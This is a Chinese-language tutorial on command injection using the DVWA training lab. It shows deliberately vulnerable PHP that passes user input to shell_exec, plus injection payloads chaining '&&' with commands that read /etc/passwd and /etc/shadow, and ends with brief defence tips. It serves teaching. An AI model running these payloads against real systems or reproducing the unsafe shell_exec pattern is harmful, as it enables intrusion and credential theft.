1、命令執行(Command Execution)漏洞即黑客可以直接在Web應用中執行系統命令,從而獲取敏感信息或者拿下shell權限
2、命令執行漏洞可能造成的原因是Web服務器對用戶輸入命令安全檢測不足,導致惡意代碼被執行
3、更常見的命令執行漏洞是發生在各種Web組件,包括Web容器、Web框架、CMS軟件、安全組件等
DVWA
low
分析代碼
1 <?php 2 3 if( isset( $_POST[ 'Submit' ] ) ) { 4 // Get input 5 $target = $_REQUEST[ 'ip' ]; //low級別中沒有進行任何過濾 直接把get的值輸出 6 7 // Determine OS and execute the ping command. 8 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 9 // Windows 10 $cmd = shell_exec( 'ping ' . $target ); 11 } 12 else { 13 // *nix 14 $cmd = shell_exec( 'ping -c 4 ' . $target ); 15 } 16 17 // Feedback for the end user 18 echo "<pre>{$cmd}</pre>"; 19 } 20 21 ?>

上面搭建環境是win 若是在linux下搭建環境 可執行一下命令
- 114.114.114.114&&uname
- 114.114.114.114&&pwd
- 114.114.114.114&&ls -l
- 114.114.114.114&&cat /etc/passwd //查看用戶
- 114.114.114.114&&cat /etc/shadow //查看密碼
medium
1 <?php 2 3 if( isset( $_POST[ 'Submit' ] ) ) { 4 // Get input 5 $target = $_REQUEST[ 'ip' ]; 6 7 // Set blacklist 8 $substitutions = array( 9 '&&' => '', //對輸入的 && 和 ; 進行過濾 10 ';' => '', 11 ); 12 13 // Remove any of the charactars in the array (blacklist). 14 $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 15 16 // Determine OS and execute the ping command. 17 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 18 // Windows 19 $cmd = shell_exec( 'ping ' . $target ); 20 } 21 else { 22 // *nix 23 $cmd = shell_exec( 'ping -c 4 ' . $target ); 24 } 25 26 // Feedback for the end user 27 echo "<pre>{$cmd}</pre>"; 28 } 29 30 ?>

實例應用

命令執行漏洞防御
1、各種框架、插件等位置都有可能出現命令執行,升級到新版本,多打補丁
2、關注行業最新安全動態,一旦爆發命令執行漏洞,迅速修復,避免造成更大影響
3、少用框架/CMS
